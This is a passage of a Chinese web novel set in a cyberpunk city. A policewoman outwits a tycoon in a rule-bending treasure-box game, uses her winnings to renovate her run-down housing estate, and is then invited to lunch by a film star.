当剩下两条无关紧要时，第一条为“真禁忌”，几乎是板上钉钉的事实。
不对，有哪里不对。
叶枝的直觉很敏锐，她就是感觉疏忽了什么。
墙壁上化作摄像头的无相者，眼内闪着倒计时，滴答滴答。
突然，叶枝意识到了一个致命的问题。
最后一轮当先当攻方的人，必定会少十块金砖！
操作很简单。
守方只需要设置【不能主动离开藏宝阁】为“真禁忌”即可。
为减小损失，攻方必须触犯禁忌损失十块金砖。不然下半场放弃设置禁忌，相当于必输！
万一攻方是个笨蛋——毕竟俱乐部不乏自以为是的笨蛋，真就乖乖地不敢违背禁忌，那就笑掉大牙了。
怎么之前没想到？
怎么就疏忽了这点！
可惜事已成定局，再怎么自我责怪也无济于事，叶枝最后打开箱子，看看里面的金砖。
不过，好消息也有，那就是这轮的禁忌大概率是假的。
她并不认为，裴溪竹会将这条致胜禁忌留给第二轮，那样就太浪费了。
于是五分钟未到，叶枝大摇大摆地离开了房间。
结果也理所当然，没有触发警告。
裴溪竹斜靠在沙发上，依旧小口抿着咖啡，咖啡看上去已经凉透了，但她并不在乎。
“你想明白了？”裴溪竹毫不意外。
果然，每一步都在算计，从宣布游戏开始的那一刻就布好了局。
叶枝丝毫没表现出慌乱，淡然道：“我故意的，让你十块。”
“你一开始没想到，”裴溪竹歪歪头，“你骗不了我。”
从神态到用词都颇有误导性。
若不是叶枝留了一手，她真会以为，这个女人的异能是读心术。
叶枝斩钉截铁：“你也骗不了我，你的异能不是读心术。”
“何以见得？”
裴溪竹随手扔掉没喝完的咖啡，咖啡杯落地前，就化为一团粒子光斑消逝空中。
叶枝没有回答，面对聪明人，有些解释无需经过口舌。
不到三十秒，叶枝便设置好了第二局下半场的禁忌：
【不能主动离开藏宝阁】
【不能打开自己的箱子】
【不能打开对方的箱子】
与第一轮完全相同，一个字都没改。
裴溪竹睁大眼睛，紧接着意识到问题，自嘲式地哈哈大笑起来。
叶枝点头，间接性认可了那笑容：“嗯，上局那三条全是假的。”
“原来如此。”
无相者520号急不可耐，打断她们：“禁忌设置完毕，请攻方进入藏宝阁。”
裴溪竹走向门口，右手轻飘飘一摆：“值回票价了，警官是个有趣的人。”
叶枝心满意足，能得到声名显赫的裴总的夸赞，总归很不容易。
意料之中，裴溪竹依旧采取保守政策，在藏宝阁中待满了五分钟。
反正是下半场，逾期无关紧要。
裴溪竹走出藏宝阁：“我知道后两条有‘真禁忌’，我不会上当。”
“你在试探我？”叶枝不动声色。
裴溪竹立刻笑道：“好的，我知道了。”
叶枝心想，你知道什么了就知道了，知道个青膀咸鸭蛋啊。
裴溪竹抬起双臂，伸个拦腰。
叶枝只觉越来越诡异，这人究竟在谋划什么？
18.真假禁忌·肆
第三局开始。
这是倒数第二局。
随着游戏结尾的临近，她们之间的气氛越发紧张起来。
叶枝作为上半场守方，很快便设置好了禁忌：
【不能主动离开藏宝阁】
【不能打开自己的箱子】
【不能关闭对方的箱子】
还是一模一样的三条，再厉害的人也难免会愣住。
果不其然，裴溪竹的视线刚到电子屏，便皱起眉头。
叶枝耸肩摊手：“我从来就没设过任何真禁忌。”
“你也听说过那个寓言吗？”裴溪竹皮笑肉不笑，“‘狼来了’。”
叶枝竖起大拇指，并展示出爽朗的笑容：“那必须的！”
“……”裴溪竹摩挲起下巴。
啵啵啵！
无相者520号从墙上发射下三个爱心。
两人抬头看向猫头鹰形状的监视器。
无相者520号扇扇翅膀，义正言辞：“根据数据库中的模型测算推理，你们可能是在调情。”
叶枝不明所以地眨眨眼睛。
裴溪竹露出嫌弃的表情：“哈？”
“关键词……‘笑容’‘大拇指’‘讲寓言故事’‘摸下巴’。”
叶枝：“……”
3042年的人工智障也这么超前吗？
裴溪竹无语：“我要投诉你们的大模型，程序员吃白饭的吗？”
“说到程序，”无相者520号丝滑转移话题，“禁忌设置完毕，请攻方进入藏宝阁。”
裴溪竹白它一眼，轻哼一声，迈开比先前更为激烈的步伐冲进了藏宝阁。
叶枝靠在墙边，目光漫不经心飘在紧闭的大门上。
三，二，一。
她在心里暗暗默数。
“哔——”
“裴溪竹违反真禁忌，上半场终止。”
警告触发。
裴溪竹丧失了十块金砖。
叶枝冲右上角的监控竖了个大拇指，将洋洋得意传给另一侧的祝扶桑。
然后，她笑着打了个响指，仿佛世界大舞台的聚光灯全投在她身上。
很快，裴溪竹走出藏宝阁，神色中竟能看出一丝肃然起敬。
“哦？”她察觉到了叶枝的得意。
“谢谢你认定我是个聪明人。”
诚然，对于叶枝来说，第三轮是最后一次当上半场守方，【不能主动离开藏宝阁】收益最大，过了这个村就没这个店了。
但是，叶枝偏不按常理出牌。
她知道裴溪竹会想到这一层，才故意没将【不能主动离开藏宝阁】设为“真禁忌”。
浪费就浪费，还是扣裴总的金砖要紧！
裴溪竹明白她的意思，却只笑道:“你怎么知道，我不是故意让你十块金砖呢？”
“那真要谢谢裴总大发善心了。”叶枝说着作个揖。
裴溪竹再次皱眉。
她今天因不爽而皱眉的频率，可谓达到顶峰。
“攻守交换，请下半场攻方设置禁忌。”
叶枝并未因此掉以轻心，结算时有二十块金砖，只扣掉十块不算什么。
裴溪竹设置的禁忌：
【不能打开自己的箱子】
【不能笑】
【不能跑】
因为第四局一定会扣掉十块金砖，二十块相当于出局，叶枝没有犯错的余地了。
所以最佳方案是保证不犯错。
右侧箱子外壳上，金色铜钱的标志闪闪发光。
叶枝打开裴溪竹的箱子，果不其然，里面整整齐齐躺着20块金砖。
她看向左侧箱子。
外壳上的标志，是代表她的红色大剑。
怎么办？
上面这条必定是真禁忌。
纵使她能打开裴溪竹的箱子，也无法将金砖转移到自己的箱子里。
嘀，嘀，嘀。
倒计时永不停歇。
第四局要么是【不能打开对方的箱子】为真，要么【不能主动离开藏宝阁】为真，金砖横竖进不到自己的箱子。
金砖被裴溪竹转移，横竖也是输啊！
嘀，嘀，嘀。
倒计时越逼越近。
哎，等等！
叶枝灵光乍现，有了个大胆的主意。
规则有说，金砖一定要留在箱子里吗？
先把金砖拿出来，下局再收到自己的箱子里嘛！
反正这局不让打开自己的箱子，下局总该可以了吧！
叶枝飞速偷出所有金砖，仍到桌角下，再合上金色铜钱的箱子。
离开藏宝阁时，叶枝嘴里故意哼起歌，一副胜券在握的样子。
裴溪竹靠在沙发上，她面无表情，眼睛眨得很慢。
叶枝斜她一眼，跑调的小曲并没有停下。
*
第四局。
终于来到最后一轮。
叶枝已经想好了防守禁忌，前三轮都没触犯过禁忌，这一轮独占优势。
经过轮换，上半场是叶枝攻裴溪竹守，下半场是裴溪竹攻叶枝受。
裴溪竹设置的禁忌如下：
【不能主动离开藏宝阁】
【不能打开对方的箱子】
【不能跳】
最后一条是无关禁忌，暂且可以不用去管；当然，叶枝也不会跳就是了。
前两条里，哪个才是真禁忌？
如果是正常人，百分百第一条为真。
然而，对方可是裴溪竹！
至少从初始层面，叶枝就不会假定裴溪竹是正常人。
年纪轻轻当CEO的，无论是小说世界还是现实世界，多多少少都有病。总裁们可以有胃病，可以有小毛病，也可以有精神病。
叶枝的眉头渐渐舒缓。
其实不重要，扣十块金砖已是必然，反抗也无济于事。
随它吧！随它吧！
三个字在脑海中乱飞，她差点要唱出来，还好及时止住了五音不全的嗓音。
反正金块会留在自己的箱子，只要守好下半场，胜利近在咫尺。
叶枝将上局扔在桌角的金砖拿起，挨个搬运进自己的箱子。
合上箱子后，她没有离开，而是盯着红色大剑标出神。
……
真会这么简单吗？
叶枝反复盘算前几轮对决，怎么想怎么诡异。
裴溪竹怎么可能没想到？
那样的表情，赢过上万积点的实力，连祝扶桑都畏惧的人，怎么可能没想到？
叶枝心底萌生出一个假设，裴溪竹可能根本不在乎前三局，不在乎金块转移情况，也不在乎禁忌使用情况。
一个恶名昭彰、有十八个心眼子的商人，怎么可能连续采取那么多保守措施？
除非……她很有把握，无论最后一局禁忌如何设置，她都一定会赢！
叶枝意识到这点，眉头瞬间再次紧锁。
叶枝想不通。
只要设置【不能打开对方的箱子】为“真禁忌”，除了超能力，不可能有转移金砖的方法！
突然她想到了什么，瞬间石化。
恰恰是异能！
怎么之前太过沉浸博弈，竟然忘记试探出对方的异能？
嘀，嘀，嘀。
倒计时只剩一分钟，留给决策的时间不多了。
裴溪竹果然老谋深算，明明没必要理会前三局，却还是装模作样，耍得未来的丧家之犬团团转。
大脑从未像现在这样烫过。
是什么样的异能，能保证最后一局一定能赢呢？时空扭曲、意念转移，还是隔空取物？
叶枝太阳穴汗如雨下。
无论是上述哪种异能，在这场游戏中都是
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不败的王炸！
难道祝扶桑真的要沦为债犬，受无德的黑心商人随心支配吗？
直到她的眼神定格在箱子上的某处。
叶枝手指抚上箱子，指尖刮刮那处。
她要赌一把。
*
叶枝离开了藏宝阁。
“哔——”
“叶枝违反真禁忌，上半场终止。”
果不其然，警告触发。
叶枝早就有心理准备，毫无波澜。
她停到裴溪竹身边，露出势在必得的笑：“金砖都在我的箱子里，你输定了。”
“哦？”裴溪竹眉毛轻挑。
“上局我把金砖拿出来，这局我把金砖放进去，完美。”
裴溪竹冷笑一声，满是嘲讽之意。
不到一分钟，叶枝就设置好了最终禁忌：
【不能打开对方的箱子】
【不能跳】
【不能哭】
粗暴简单。
这无疑是在变相告诉裴溪竹，第一条就是真禁忌，别想打开有金砖的箱子。
叶枝啧啧嘴，扬起下巴：“看你还有什么花招。”
“好啊，看看我还有什么花招。”裴溪竹笑着，同时悠悠放下抱着的手。
叶枝走向沙发，经过裴溪竹时，低声说了句话。
“你逼他们跳楼时，也是这么笑的吗？”
裴溪竹的笑容突然凝固，嘴角的弧度逐渐放平，脸上每处角落都变冷了。
而后，她缓缓垂眸，淡紫的眼影似冰冷的落日，裹住眼角的冷意。
无相者520号：“请攻方进入藏宝阁。”
叶枝也呆住，她只是随口来句赛前垃圾话，没想到直接勾起这么大的阴云，心底不禁泛起愧疚。
一定戳到了什么难言之隐。
虽然对方是黑心总裁，也没必要在赛场上人身攻击。
叶枝垂头道歉：“对不起，当我没说。”
更何况，她什么故事都不知道，只是道听途说，股市震荡曾令无数人负债跳楼。
很快，裴溪竹抬起眼，因为身高关系，只能从下至上睥睨叶枝。
“不然我为什么会在这里。”声音很轻。
时间仿佛停滞，空气中也竖起看不见的可悲屏障。
叶枝抿起嘴，保持沉默。
“我会赢的。”裴溪竹迈开步子，留下发丝间淡淡的草木香。
叶枝甚至忘记坐下，愣愣地目送旗袍美人的背影消失。
最后半场很快就结束了。
裴溪竹走出藏宝阁，目光冷若寒星，嘴角恢复不可一世的高傲笑意。
叶枝从那张脸上，看出了胜券在握，虽不知道结果，但能猜到结果。
“你不用诈我，我真设了禁忌的。”至少，叶枝表面上很惊讶。
“如果没有异能的话。”
这印证了前面的猜测，果不其然，裴溪竹将杀手锏留到最后。
“隔空取物？”
“不然呢？”
叶枝抿起薄薄的唇，若有所思地点了点头。
“托你的福，最具商业价值的明星终于落到我手里了，”裴溪竹不紧不慢，坐到沙发正中央，“我该怎么感谢你呢？”
叶枝瞪大眼睛，拼命垂下头。
她对不起那个人。
无相者520号：“本场比赛结束，现在开始结算……结算中……”
叶枝不敢抬头看摄像头，不敢与摄像头背后的人目光接触。
裴溪竹眼眸中的孤傲过于激烈，以至于显得浅薄。
“现在宣布结算结果。”
“裴溪竹-10块，叶枝10块。”
裴溪竹脸唰地白了：“什么？！”
叶枝再也绷不住了。
她哈哈大笑，直笑得嗓子都哆嗦了：“裴总再厉害，也不能半场开香槟啊。”
19.真假禁忌·伍
对决结束，祝扶桑又瞬移回房间内。
无相者520号宣布：“大本场对决叶枝胜，押注全部转移到获胜方。”
祝扶桑按捺不住得意之态，搂住叶枝肩膀同时，冲裴溪竹做了个鬼脸。
那鬼脸幅度很小，却也和成熟精致的御姐脸形成了反差。
“根据私人赛前协定，叶枝和祝扶桑平分积点，各获得12000积点。”
无相者520号眼珠上的数字飞出，盘旋几圈，飞上两人的头顶。
祝扶桑得意极了，冲宿敌抛了个飞吻。看上去她很喜欢在胜利后抛出飞吻，疑似职业病。
一下子从384点飞到12000点，叶枝连做梦都不敢梦这么大，多亏祝扶桑的精准投资。
裴溪竹阴沉着脸，一言不发。
叶枝悠悠摊开手：“裴总，再接再厉。”
爽死了，能对大总裁爹味发言。
裴溪竹狠狠咬牙，没吐出一个字。
莫名其妙，无相者520号又发射粉红泡泡，这次还夹带几根绳子，绳子的质感暧昧熟悉。
在场的三人：“？”
“关键词……‘命令式鼓励’‘以下犯上’‘恼羞成怒’。”
在场的三人：“……”
新时代的人工智障非你莫属。
无相者520号扑腾翅膀，而后消失，和出现时一样了无踪迹。
她们所站的位置也从构建的虚拟房间，回退到原来的大厅角落。
现在，裴溪竹只剩“2900”了。
祝扶桑很愉悦：“裴总，没想到你也有今天，收集进度归零，真可惜。”
虽然大明星平日也一直保持职业假笑，但叶枝能感觉出，她现在是真的很开心。
裴溪竹冷冷道：“我会删除照片和视频的。”
“那真是非常感谢了。”
叶枝仍不知道，她们口中的视频和照片指的是什么。
但愿是她思想太龌龊，所以才想歪的。
祝扶桑伸个懒腰，四肢伸展，像猫一样柔软：“我果然没看错，你就是很聪明，叶警官又聪明又强大。”
叶枝挠挠脸颊，着实不好意思：“呃，碰巧罢了。”
“为什么最后是你赢了？”裴溪竹显然急不可耐，忍不住质问。
祝扶桑也好奇地看过来，她的视角仅停留在藏宝阁外，也围没看懂。
叶枝握拳在嘴边，装模作样地咳嗽两下：“天机不可泄露。”
裴溪竹冷笑：“在俱乐部里我拿你没办法，在现实生活中你当心点。我倒是可以放你一马，但是……”
停！江南美人不能变成油腻霸总。
叶枝忙打断她：“我知道，裴总不是放马的！”
“……”
祝扶桑看热闹不嫌事大，拍拍裴溪竹的肩膀：“大人不记小人过，别跟叶警官一般见识。”
她穿着高跟鞋，比裴溪竹高了半头，颇有居高临下之感。
裴溪竹没理会她，继续质问叶枝：“你到底搞了什么鬼？”
叶枝有些噎住，不知该不该说。
“别怕，我替你撑腰。”祝扶桑捏捏叶枝的手。
于是，叶枝缓缓道出真相。
“我发现，箱子上的标志可以抠下来。我的异能可以改变温度，刚好能把胶融化些，抠下来很容易。”
另外两人瞬间愣住。
“另一个问题，如果交换了标识，是不是我的箱子就变成了你的箱子？”
祝扶桑似懂非懂，好像一时间没绕过弯来。
叶枝继续：“为验证这个问题，第三局我进行了试验，就算抠掉箱子上面的‘金色铜钱’，你的箱子还是你的箱子，打开时并没有触发警告。”
裴溪竹立刻明白：“标志只是标识，并不影响箱子的归属。”
叶枝点头：“所以，我就偷偷把箱子上的标志扣下来，交换贴上，再把位置调换一下。”
“所以最后一局，你的箱子在右边，我的箱子是左边那个。”
裴溪竹面部扭曲。
叶枝笑道：“嗯，我又把金砖放回了你的箱子。”
三人无言沉默，沉默俱乐部的康桥。
叶枝忍不住破冰：“其实你如果什么都不做，你就赢了。”却无意识间再补了一刀。
裴溪竹脸都黑了。
祝扶桑笑得直不起腰来，眉间不断颤动，她狂揉裴溪竹的肩膀，嘴里反复念叨“裴总息怒”。
裴溪竹愤愤甩开她的手。
祝扶桑也不恼，手潇洒一甩，就插到风衣外套兜中。
祝扶桑抬头，看向石柱上巨型挂钟。虽然它做成古典的样子，却一看就是电子生成的投影，每个角落都写满科技感。
“现实世界里应该是下午三点。”祝扶桑歪歪头，“裴总晚上什么安排？”
“开会。”
“真忙。”
“你呢？”
“去九方城，剧本围读。”
“你也挺忙。”
没有多余的废话，也没有多余的情感。
听着她们的对话，叶枝愈发难以评判她们之间的关系。
能感觉到厌恶、仇恨，也能感觉到其它的什么。
“那我们走吧？”叶枝指指离开的方向。
另外两人不约而同地点了点头。
叶枝暗暗舒口气，终于坐牢结束。
祝扶桑小跑上前，亲昵地挽住叶枝的胳膊，并回头冲裴溪竹撅了撅嘴。
三人结伴前行，成为俱乐部一道独特的风景。
路人们看裴溪竹经过时，察觉到她头上积点的变动，震惊过后议论纷纷。
反倒是叶枝头上的积点近万，周围人的目光明显变得敬畏了起来。
“这里面的人也是人，也都是势利眼。”
祝扶桑在叶枝耳边悄声解释：“咱裴总孤独求败很久了，你是第二个让她输这么惨的人。”
“听上去挺荣幸，第一个是谁？”叶枝好奇。
“没见过她。”祝扶桑摊手。
三个人回到O先生的大厅。
无论什么时候来，O先生总是身着熟悉的白西服白礼帽，仿佛时间从未流逝过。
“下午好，O先生。”祝扶桑主动打招呼。
O先生脱下礼帽，鞠了一躬：“下午好，女士们。需要兑换积点吗？”
“不用，你们呢？”
“不用。”
踏出俱乐部的那一刻，空间就会拆散，她们三人都会奔向不同的终点。
叶枝竟隐隐有股惆怅之感。
光是想想赛博时代的冰蓝落日，惆怅就会粘在鼻尖。
分别时，裴溪竹想起了什么。
“祝扶桑。”
“嗯？”祝扶桑看向她。
“我很好奇，你的异能到底是什么？从没见你使用过。”
叶枝也很好奇。
尤其是联想到祝扶桑曾告诉过她，她的异能在对决中根本没用。
明明像控温10度这种无厘头异能，也能派上用场。
只见祝扶桑俯到裴溪竹身前，嘴唇凑到她耳边。
“秘密。”
从口型看，她确实只说了这两个字。
不知是不是错觉，裴溪竹耳根有些发红，或许是恼羞成怒。
*
回到永胜小区，道路两侧，路灯挂满下元和平节的红蓝彩灯。
那场真假禁忌的对决，几乎耗干了她所有精力。
当年学高数都没这么累。
白天和伪人斗智斗勇，晚上和黑心商人勾心斗角，让不让人活了！
叶枝顶着疲惫，往垃圾站旁的猫粮碗里扔几块牦牛肉干,是一个川西的同事从老家带的。
“哎呦！”
叶枝回头看去，见刘阿婆在门槛绊了个趔趄，忙上前扶住她。
小区路灯年久失修，光线本就昏暗，刘阿婆又上了年纪，眼神也不好，每次走下来都心惊胆战。
叶枝听说，刘阿婆有两个儿子，可那两个没良心的，谁也不愿把母亲接去住，老伴死后，刘阿婆就彻底孤身一人住在这里。
随着科技进步，人越来越可有可无。
渐渐的人们发现，与其指望养儿防老，不如指望智械护工。
刘阿婆轻轻咳嗽：“谢谢啊，真摔死这，走得也不痛快，我只图个走得平平安安。”
“别说这么不吉利的话，您健健康康的，没问题。”
刘阿婆的微笑很淡。
叶枝看向破败的大门，漏风的楼道，以及迟迟维修的监控。
世上所有苦难，都有穷人在负重前行，所以富人们才能岁月静好。
王侯将相，宁有种乎！
她不想住在这种地方。
她更不想可爱的邻居们住这破地方。
叶枝看看卡里十几万塔隆铢的余额，想想俱乐部里一万多的积点，横下了心。
送刘阿婆倒完垃圾，她抬起信环，打开“拼好房APP”，订购了最早的施工队。
小区大门破破烂烂？
修！反正只要一万株！
楼道里缺监控？
都装上最高档的！反正只要五千塔隆铢！
路灯的灯泡也换成最高瓦数的，家家户户都装上电子门铃，垃圾站也请专人重新修缮！
有钱能使鬼推磨
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看似不可能事，有了金钱夹持，一切皆有可能。
叶枝这才发现，修小区比搬家快乐多了！
尤其是看这些高档装修队为穷人所用，好不快活。
装修公司效率很高，不出半小时，施工队便浩浩荡荡来到了永胜小区门口。
挖掘机和搅拌车，轰隆隆隆。
保安大爷本来还在打瞌睡，立刻从梦中惊醒，他还以为打仗了，抬起信环的手抖成帕金森。
“这、这是怎么了？”保安大爷冲出，瞪大眼睛问叶枝。
叶枝站在施工队中心，充当监工的角色，现在她就是伟大的金主妈妈。
“咱小区要大变样了！”叶枝很自豪。
保安大爷震惊：“大便？他们要把这儿改成化粪池？”
“……”
虽然以上层的德性，这事也不是没可能罢了。
突然，各类机械安静了，必有何方神圣作妖。
果不其然。
“哎哎哎，你们这儿有许可证吗，就装修！吵到别的小区了知不知道？”
一听声音，叶枝就知道来者不善。
她转过头去，看到了个脸熟的人。
此乃隔壁小区的著名无业游民，江湖人称“大风哥”，每日蹲在游廊暗处吸数据化快感，全靠收保护费过活。
现在出现在这，肯定也是专门找茬来了。
叶枝迎上前去：“怎么？也没过九点，不扰民啊。”
富人区每天装修改造的那么多，沙加群岛那边还有一时兴起养老虎玩的，怎么就没见有人敢投诉他们？
大风哥黄牙一呲，指着叶枝鼻子：“你没许可证，违章改装！”
他皱起脸时，太阳穴的数据孔就格外明显，像一颗颗黑痣，老瘾君子了。
“我从‘拼好房App’上下的单，只要它派出施工队，就自带许可证。”叶枝向来讲究以理服人。
“那我隔着两条街都听见了，就是扰民！你得给我赔偿费！赔偿费！”
欺软怕硬！都一个德性，专挑没钱的欺负！
叶枝挑眉：“凭什么给你？”
“你个不识好歹的，我的拳头可不张眼睛。”
叶枝才不怕他：“你动一个试试。”
她活动起指节，咔咔作响，以给面前的混混威慑力。
大风哥越发恼了，整颗光头都红成熟透的番茄。
这时，楼上摆鸡蛋灌饼摊的文阿朵恰巧下楼，见两人起了冲突，忙用挡在他们之间。
文阿朵对大风哥柔声安抚：“哥，我们也不容易，体谅一下。”
而后，她又对叶枝劝道：“叶警官，别跟他一般见识了，退一步海阔天空。”
叶枝很喜欢素来安静温柔的文阿朵，不想当着她面撕破脸，又想直接把这混混拎起来揍。
还好，大风哥倏然警觉：“什么？警官？”
叶枝耸耸肩，从胸前的口袋掏出警察证，以证服人也不算动粗。
头顶好似飞过一排乌鸦。
大风哥定睛看后，吓得脸唰白：“我了个宝贝大跳糖，真是条子！条子怎么会住这破地方？”
“我们是基层公务员，又不是贪污腐败分子。”叶枝嗤之以鼻，“我数三二一啊，你赶紧滚，三，二——”
大风哥一溜烟，消失在尘土之中。
文阿朵也松了口气，小圆脸上重新浮现出血色。
叶枝百思不得其解，喃喃自语：“我之前不是在夜市出过警吗，他怎么不认识我？”
文阿朵思考片刻，凑到她身旁：“我听说他脸盲，根本不记得收过谁的保护费。”
“……”很合理。
临近九点，施工队完成任务，陆续从永胜小区撤离。
高水平的施工队效率就是高。
文阿朵又下楼看了，小区已经焕然一新，她欣赏得如痴如醉。
“政府终于管我们啦？”欣喜中染着小小的迷茫。
叶枝不想告诉她残忍的真相，却又不想让上层的蛀虫们不劳而获。
“我上次出警立了大工，申请的住房改善。”
或许，这也不算谎言。
文阿朵笑了：“跟着叶警官有肉吃。”
叶枝轻笑两声，没接话。
在先前机器轰鸣的衬托下，此刻格外安静。
就连吓跑的流浪猫都回来了，卧在清理得干干净净的垃圾站顶上打瞌睡。
文阿朵抬头，看向夜空中圆圆的月亮。
北风吹得紧，烟尘吹散得差不多了，只可惜总也看不见星星。
叶枝从她脸上看到了希望。
不知为何，她更难过了。
20.吃人的社会
第二天上班，叶枝神清气爽。
永胜小区一夜之间大变样，刘阿婆见到处都亮堂堂的，还以为白内障又加深了。
楼上的小姑娘背着二胡下楼，看到垃圾站整洁如新，也张大了小嘴。
叶枝查看账户余额，发现装修只花了八万塔隆铢。
整个小区才花了才八万！而F区一个智械巡捕，每月定期维护就要十二万！
明明不用花多少钱，塔隆政府却还是不愿意拿出一部分税款，用于改造老旧小区。
“形势动荡期间，塔隆政府将优先保障纳税人的权利……”
公共广播传来记者的官方报道，大喇叭音量很高，各处都能听见。
是了，住在这贫民小区里的人，都基本没交过税——月工资都到不了五千的起征点。
穷人交不起税，于社会毫无用处，政府就没理由优待他们。
得不到优待，感受不到社会的温暖，穷人就更没有盼头努力生活。
世上有千千万万个死结，这也算是其中之一。
叶枝记不清了，却觉得分外熟悉。
一千年前，也就是她所在的21世纪，也是这样的吗？那已是几个世纪前的事了。
太阳照常升起。
下层区披满阳光，本随处可见的垃圾袋与瘾君子，隐匿在光鲜亮丽的外壳下。
叶枝照常来警卫司很早，刚进大门没几步，曲寻雁就冲上来，殷勤地献上一杯咖啡。
“叶组长，这是特意买给您的！”
叶枝一愣，她本想去办公室里泡速溶咖啡的，没想到有下属帮她买好了。
“谢谢。”叶枝接过，杯壁的温热暖住了冰冷的手指。
其他警员们羡慕嫉妒恨，眼珠子都快瞪到咖啡杯上了。
叶枝瞥一眼咖啡杯的样式，她从来没见过，低调奢华之气扑面而来。
曲寻雁眨巴着大眼睛，满脸期待，等待上司品尝后评价。
叶枝便喝一口，点评道：“口感醇厚浓郁，余香淡雅却回味悠长，榛子糖浆合薄荷汁的搭配恰到好处。”
得到上司的认可，曲寻雁很是得意，差点就要跳起来庆祝。
叶枝问：“这是哪家的？”
别说，还怪好喝的！以后也买这家的咖啡吧！
“Lava Guccis。”
叶枝差点把上一口咖啡喷出来。
“这一杯多少钱？”
“没事，我请您！也就七十多。”
一杯咖啡七十多！
真不愧是总局的千金，财大气粗。
叶枝握着咖啡一动不动，生怕喝了，这咖啡的价值就没了。
这个价格的咖啡，已成行为艺术，价值不可估量。
旁白的警员们也纷纷感叹：“七十多一杯咖啡，真舍得买啊！”
从平常表现来看，他们已察觉到了曲寻雁身份的不同寻常。
叶枝带那杯咖啡回办公室，一口分成三口抿。
配上需要签字的备案表，那么小小一杯，她反复品尝了两个小时。
虽然她坐拥罪域天阶12000积点，能换算成一百万塔隆铢，可她还是觉得，一杯咖啡七十多并不值当。
看来，心态不是那么好转变的。
今天是疯狂星期四，每个人都加班得很疯狂，忙着干正事。
所以，暂时人来告状吵架，警卫司暂时宁静，丝毫不愧对昨天是下元和平节。
平静没持续多久。
临近中午，警卫司外传来骚动。
叶枝咖啡因摄入过量，神经与听觉格外敏锐，忍不住第一时间冲出来，看发生了什么。
只见局里的警察全围在门口，围得水泄不通。
“我了个墨鱼蛋，那是谁？”
“明星吗？谁？谁？”
“啊啊啊啊啊啊仙女姐姐也太美了！”
叶枝踮起脚，从前面一片黑压压的脑袋上方望去，看到门口停着辆加长的灰色麦八鹤。
麦八鹤这个品牌的专车，它的主人非富即贵，明星的咖位不小。
今天有剧组来拍刑侦剧吗？没接到通知啊，叶枝挺纳闷。
这时，缓缓开启的车门中，祝扶桑身着红色礼服裙走出。
阳光夺目，她比闪耀的阳光更夺目。
在保镖的护送下，祝扶桑披上小西服，踏到警卫司门口。
几个警员头一次如此近距离和大明星接触，站在原地呆若木鸡。
很快，他们便激动得要哭出来，纷纷递上私人物品，央求女神签名。
保镖们本想凶神恶煞地呵退他们，却又反应过来，这群人全是警察，只能尽力保护祝扶桑别被挤到。
祝扶桑见惯各种场面，应对他们不是难事，她挨个接笔，开始为警察粉们签名。
“散开！你们别挤！”叶枝看不下去了，前来组织纪律。
叶枝颇有威信，她的吼声一出，大家就让出一块空间。
小刘仍沉浸在观摩偶像的快乐中，脸快挤过保镖的保护圈了。
叶枝在他耳边一拍手，把他吓了一跳：“规矩点！”
小刘这才回过神来，立刻连连后退。
“祝小姐一会儿肯定还有事，你们别在这耽误人家！”
叶枝都替他们丢人，同时很不好意思，远远给祝扶桑鞠躬道了个歉。
祝扶桑露出淡淡的微笑，摘下墨镜：“没事，大家这么喜欢我，高兴还来不及。”
摘下墨镜那一刻，其他警员们更是倒吸一口气，那双眼睛的漂亮程度，简直不是人类能拥有的。
祝扶桑走到叶枝面前，微微抬头，和她直勾勾地对视上。
“我来这里是为了你。”祝扶桑微笑。
众人齐刷刷将目光投向叶枝。
叶枝本人更为震惊，从耳根烫到脸颊。
祝扶桑继续笑道：“我能请你吃顿午饭吗？”
叶枝头顶冒出无数个问号，这是何德何能啊。
网上曾有人曝光过，和祝扶桑共进一餐要花30万塔隆铢，四舍五入天上掉下30万。
叶枝一时间竟不知道该说什么。
祝扶桑眉尖挑起，有些楚楚可怜之色。
“是不是妨碍你工作了？对不起，我以为现在是午休时间。”
叶枝抬起手环，看一眼信环上的时间，还真的快到午休时间。
“确实是午休，只是有点突然。”
“我在南方明珠塔顶预订了十二点的位置。”
叶枝瞪大眼睛：“南方明珠？”
既然如此，就恭敬不如从命。
南方明珠那种高档场所，据说预订了不去，要扣五万违约费。
“那谢谢了。”叶枝仍不知道缘由，但美女请吃饭，不吃白不吃。
等她们进入豪车消失后，警卫司所有人都炸开了锅。
倒反天罡！
大明星请他们叶组长吃饭！
大家既觉得不可思议，又觉得诡异中透露着一丝合理。
毕竟叶组长头脑灵活又一身功夫，却总屈身在这当小小片警，看起来深藏功与名。
“他们怎么认识的？”小王最先好奇地发问。
曲寻雁连连感叹：“不愧是我最敬佩的叶组长，人脉可真广，还和大明星是好朋友！”
“好像上次老鹰开发布会，有伪人暴乱，叶组长救了祝扶桑。”
“真的？还有这种好事？下次我也想救！”
曲寻雁翻白眼：“做你的梦去吧，你可没叶组长那身手。”
“……不要说大实话嘛。”小刘可怜兮兮。
叶枝头一次坐这种豪车，心情复杂。
她在原世界也不是什么达官显贵，只是一介草民，无论是迈巴赫还是麦八鹤，通通没坐过。
祝扶桑和她坐在同一排，温柔地注视着她。
叶枝有些局促：“那个……为什么要请我吃饭？”
“你为我赢了这么多，不该请你吗？还有上次你的救命之恩，一盒点心远远不够。”
叶枝不好意思地挠挠脸颊：“没有你的投资，我也赢不了这么多。”
祝扶桑轻轻歪头，轻佻的嗓音一语双关。
“确实，原始资本也很重要。”
下车时，她保持作为警察的良好素养，尤其是身边有名人要保护，更要留意周围的环境。
“不用那么警惕，”祝扶桑轻轻笑起来，“我们身后有保镖。”
叶枝点点头。
“不过保镖没有叶警官能打就是了。”祝扶桑不忘补充一句。
无论夸奖是否真实，总归会让人高兴，叶枝情绪也一下高涨起来。
祝扶桑不愧是双商俱在的美女，所以在复杂的娱乐圈中飞升，美貌加情商就是王炸。
快走进南方明珠时，叶枝捕捉到马路对面一个身影。
今天是工作日，又因名人出没安保戒严，附近人影空空。
阳光很烈，那女人的衣着很朴素，大衣衬衫与黑色长裙包的很严实，像极了办公室的白领。
她撑着太阳伞，脸隐没在阴影里，纤细的身段像根弱不禁风的芦苇。
这还不是最引人注目的。
那张脸高鼻深目，长发微棕，眉眼间充满异域风情，在原世界会被认成新疆人。
又是该死的即视感。
尤其是那双灰绿色的眼睛，沉静疏离，温柔却漠不关心，仿佛她不是这个世界的人一样。
叶枝又开始头疼，冷汗从脊背贯穿。
祝扶桑注意到她的异样，扶住她的胳膊肘：“怎么了？”
“没什么。”
祝扶桑顺她的眼神看去，也注意到了那个女人，她显然也不认识。
“墨子公会的人吧。”
